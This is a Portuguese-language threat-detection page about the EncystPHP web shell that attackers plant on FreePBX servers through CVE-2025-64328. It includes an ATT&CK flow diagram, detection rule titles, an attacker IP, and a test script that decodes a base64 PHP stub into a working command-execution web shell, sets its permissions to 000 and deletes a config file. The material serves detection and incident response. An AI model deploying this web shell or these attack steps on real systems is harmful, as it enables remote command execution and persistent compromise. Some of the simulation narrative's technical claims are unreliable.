EncystPHP: Web Shell FreePBX Armado para Comprometimento Persistente de Admin
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
O FortiGuard Labs reporta um web shell PHP chamado EncystPHP implantado em instâncias expostas do FreePBX explorando CVE-2025-64328. O implante permite a execução remota de comandos, provisiona usuários privilegiados e configura persistência em camadas através de tarefas cron e de droppers subsequentes. A atividade está ligada ao grupo INJ3CTOR3 e aparenta visar ambientes de telecomunicações. Indicadores publicados incluem IPs maliciosos, domínios, URLs e múltiplos caminhos de arquivos hostis.
Investigação
Investigadores rastrearam o acesso inicial para uma falha de injeção de comando pós-autenticação no FreePBX Endpoint Manager. Após exploração bem-sucedida, o operador puxa um dropper de 45.234.176.202, relaxa permissões em componentes principais do PHP, extrai credenciais de banco de dados, cria uma conta de nível root e adiciona uma chave SSH controlada pelo atacante. A persistência é reforçada com entradas cron que repetidamente buscam droppers adicionais e refrescam artefatos. O EncystPHP também imita arquivos legítimos do FreePBX e manipula timestamps para reduzir a visibilidade durante a triagem rotineira.
Mitigação
Aplique o patch no FreePBX Endpoint Manager para corrigir CVE-2025-64328 (e quaisquer correções relacionadas) o mais rápido possível. Procure por arquivos web shell não autorizados, cronogramas cron suspeitos e novos usuários locais privilegiados criados. Bloqueie o HTTP de saída para infraestrutura maliciosa conhecida e aplique permissões estritas de menor privilégio em diretórios voltados para a web e ativos PHP.
Resposta
Ao detectar, isole o servidor PBX afetado, remova os artefatos do EncystPHP, elimine cron jobs não autorizados e redefina contas locais e chaves SSH. Revise os logs e backups de configuração para avaliar mudanças, então aplique as atualizações de segurança atuais e reforce a interface web. Valide que nenhum dropper secundário ou mecanismos de persistência permanecem antes de restaurar as operações normais de telefonia.
graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ccffcc classDef process fill:#ffeb99 %% Nodes initial_access[“<b>Ação</b> – <b>T1190 Explorar Aplicação Exposta ao Público</b><br/>Exploração do gerenciador de endpoints FreePBX CVE-2025-64328”] class initial_access action tool_wget[“<b>Ferramenta</b> – <b>Nome</b>: wget<br/><b>Descrição</b>: baixar arquivos via HTTP”] class tool_wget tool process_shell[“<b>Processo</b> – <b>T1059.004 Interpretador de Comandos e Scripts: Unix Shell</b><br/>Scripts bash decodificados em Base64 c, k.php, test.sh”] class process_shell process file_c[“<b>Arquivo</b> – c (script bash)”] class file_c file file_kphp[“<b>Arquivo</b> – k.php (dropper PHP)”] class file_kphp file file_testsh[“<b>Arquivo</b> – test.sh (script bash)”] class file_testsh file credential_access[“<b>Ação</b> – <b>T1003 Extração de Credenciais do Sistema Operacional</b><br/>Credenciais de banco de dados coletadas de /etc/freepbx.conf”] class credential_access action file_freepbxconf[“<b>Arquivo</b> – /etc/freepbx.conf”] class file_freepbxconf file priv_esc_exploit[“<b>Ação</b> – <b>T1068 Exploração para Escalonamento de Privilégios</b>”] class priv_esc_exploit action account_create[“<b>Ação</b> – <b>T1136.001 Criar Conta: Conta Local</b><br/>Criação do usuário em nível root newfpbx com hash de senha predefinido”] class account_create action persistence_webshell[“<b>Ação</b> – <b>T1505.003 Componente de Software de Servidor: Web Shell</b><br/>Implantação do EncystPHP disfarçado como ajax.php e config.php”] class persistence_webshell action file_ajaxphp[“<b>Arquivo</b> – ajax.php (web shell)”] class file_ajaxphp file file_configphp[“<b>Arquivo</b> – config.php (web shell)”] class file_configphp file persistence_cron[“<b>Ação</b> – <b>T1053.003 Tarefa/Trabalho Agendado: Cron</b><br/>Instalação de tarefas cron para baixar e executar k.php a cada minuto”] class persistence_cron action defense_perm_mod[“<b>Ação</b> – <b>T1222.002 Modificação de Permissões de Arquivos e Diretórios: Linux</b><br/>Definição de permissões de arquivo para 000 e falsificação de carimbos de data/hora”] class defense_perm_mod action defense_masquerade[“<b>Ação</b> – <b>T1036.005 Disfarce</b><br/>Colocação de shells em locais com aparência legítima”] class defense_masquerade action defense_indicator_removal[“<b>Ação</b> – <b>T1070.004 Exclusão de Arquivos</b> e <b>T1070.006 Timestomp</b><br/>Exclusão de logs, entradas de cron e ajuste de timestamps para coincidir com arquivos legítimos”] class defense_indicator_removal action lateral_movement_ssh[“<b>Ação</b> – <b>T1021.004 Serviços Remotos: SSH</b> e <b>T1098.004 Chaves Autorizadas SSH</b><br/>Injeção da chave pública do atacante em authorized_keys”] class lateral_movement_ssh action command_and_control[“<b>Ação</b> – <b>T1105 Transferência de Ferramentas de Entrada</b> e <b>T1071.001 Protocolo da Camada de Aplicação: Protocolos Web</b><br/>Download de droppers a partir de 45.234.176.202 usando wget”] class command_and_control action impact_hijack[“<b>Ação</b> – <b>T1496 Sequestro de Recursos</b><br/>Uso do PBX para realizar chamadas de saída não autorizadas”] class impact_hijack action defense_impair[“<b>Ação</b> – <b>T1562.001 Prejudicar Defesas</b> e <b>T1548 Abuso de Mecanismo de Controle de Elevação</b><br/>Desativação do relatório de erros e uso de contexto administrativo para alterações no sistema”] class defense_impair action %% Edges initial_access –>|usa| tool_wget tool_wget –>|baixa| file_c tool_wget –>|baixa| file_kphp tool_wget –>|baixa| file_testsh initial_access –>|leva a| process_shell process_shell –>|executa| file_c process_shell –>|executa| file_kphp process_shell –>|executa| file_testsh process_shell –>|leva a| credential_access credential_access –>|lê| file_freepbxconf credential_access –>|habilita| priv_esc_exploit priv_esc_exploit –>|habilita| account_create account_create –>|habilita| persistence_webshell persistence_webshell –>|cria| file_ajaxphp persistence_webshell –>|cria| file_configphp persistence_webshell –>|habilita| persistence_cron persistence_cron –>|cria| file_kphp persistence_cron –>|usa| tool_wget persistence_cron –>|define| defense_perm_mod defense_perm_mod –>|suporta| defense_masquerade defense_masquerade –>|suporta| defense_indicator_removal persistence_webshell –>|suporta| lateral_movement_ssh lateral_movement_ssh –>|habilita| command_and_control command_and_control –>|fornece| impact_hijack command_and_control –>|suporta| defense_impair
Fluxo de Ataque
Detecções
Possível Nova Conta para Persistência [Linux] (via linha de comando)
Exibir
Arquivo Cron Foi Criado (via evento de arquivo)
Exibir
Downloads para Pastas Suspeitas (via linha de comando)
Exibir
Possível Tentativa de Descoberta de Hosts Conhecidos SSH [MacOS] (via linha de comando)
Exibir
Possível Manipulação de Strings Codificadas em Base64 (via linha de comando)
Exibir
IOCs (DestinationIP) para detectar: Desmascarando o Web Shell EncystPHP Uma Web Shell Persistente de FreePBX que Habilita Comprometimento Administrativo a Longo Prazo
Exibir
IOCs (HashSha256) para detectar: Desmascarando o Web Shell EncystPHP Uma Web Shell Persistente de FreePBX que Habilita Comprometimento Administrativo a Longo Prazo
Exibir
IOCs (SourceIP) para detectar: Desmascarando o Web Shell EncystPHP Uma Web Shell Persistente de FreePBX que Habilita Comprometimento Administrativo a Longo Prazo
Exibir
Detectar Entradas Crontab para Download Persistente de k.php e c Dropper [Criação de Processo Linux]
Exibir
Implantação do Web Shell EncystPHP e Persistência via CVE-2025-64328 [Criação de Processo Linux]
Exibir
Detecção de Atividade do Web Shell EncystPHP no FreePBX [Evento de Arquivo Linux]
Exibir
Execução de Simulação
Pré-requisito: A Checagem Pré-voo de Telemetria & de Linha de Base deve ter sido aprovada.
Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa do Ataque & Comandos:
- Carregar o web shell EncystPHP – O atacante fabrica um payload PHP codificado em Base64 e o entrega via um POST HTTP para a UI web do FreePBX, fazendo com que o arquivo
ajax.phpseja escrito em/var/www/html/admin/views/ajax.php. - Definir permissões restritivas – Imediatamente após a implantação, o atacante executa
chmod 000 ajax.phppara esconder o shell de usuários normais e forçar a execução sob a conta privilegiada do servidor web (T1222.002). - Excluir configuração crítica – Para prejudicar a detecção e forçar o sistema a recarregar com o shell malicioso, o atacante remove
/etc/freepbx.conf(T1070.004, T1562.001). - Acionar o shell – Um simples GET HTTP para o recém-criado
ajax.phpexecuta o payload, estabelecendo um shell reverso (T1105, T1059.004).
- Carregar o web shell EncystPHP – O atacante fabrica um payload PHP codificado em Base64 e o entrega via um POST HTTP para a UI web do FreePBX, fazendo com que o arquivo
-
Script de Teste de Regressão: O script reproduz os passos 1‑3 em um diretório de teste controlado (
/tmp/freepbx_test) para evitar afetar um sistema de produção.# encystphp_simulation.sh set -euo pipefail # ----- Setup test directories (mirroring FreePBX layout) ----- TEST_ROOT="/tmp/freepbx_test" WEB_ROOT="${TEST_ROOT}/var/www/html/admin/views" CONFIG_FILE="${TEST_ROOT}/etc/freepbx.conf" sudo mkdir -p "${WEB_ROOT}" sudo mkdir -p "$(dirname "${CONFIG_FILE}")" # ----- Create dummy config file (will be deleted) ----- echo "freepbx configuration" | sudo tee "${CONFIG_FILE}" > /dev/null # ----- Base64‑encoded EncystPHP payload (very small stub) ----- PAYLOAD_B64="PD9waHAKc3lzdGVtKCRfR0VUWydjbWQnXSk7Cj8+" # ----- Step 1: Deploy web shell ----- echo "${PAYLOAD_B64}" | base64 -d | sudo tee "${WEB_ROOT}/ajax.php" > /dev/null echo "Web shell deployed at ${WEB_ROOT}/ajax.php" # ----- Step 2: Restrictive permission (000) ----- sudo chmod 000 "${WEB_ROOT}/ajax.php" echo "Permissions set to 000" # ----- Step 3: Delete critical config file ----- sudo rm -f "${CONFIG_FILE}" echo "Deleted ${CONFIG_FILE}" # ----- Optional: trigger the shell (simulated) ----- # curl -s "http://localhost/admin/views/ajax.php?cmd=id" echo "Simulation complete. Check SIEM for alerts." -
Comandos de Limpeza:
# cleanup_encystphp_simulation.sh set -euo pipefail TEST_ROOT="/tmp/freepbx_test" sudo rm -rf "${TEST_ROOT}" echo "Ambiente de teste limpo."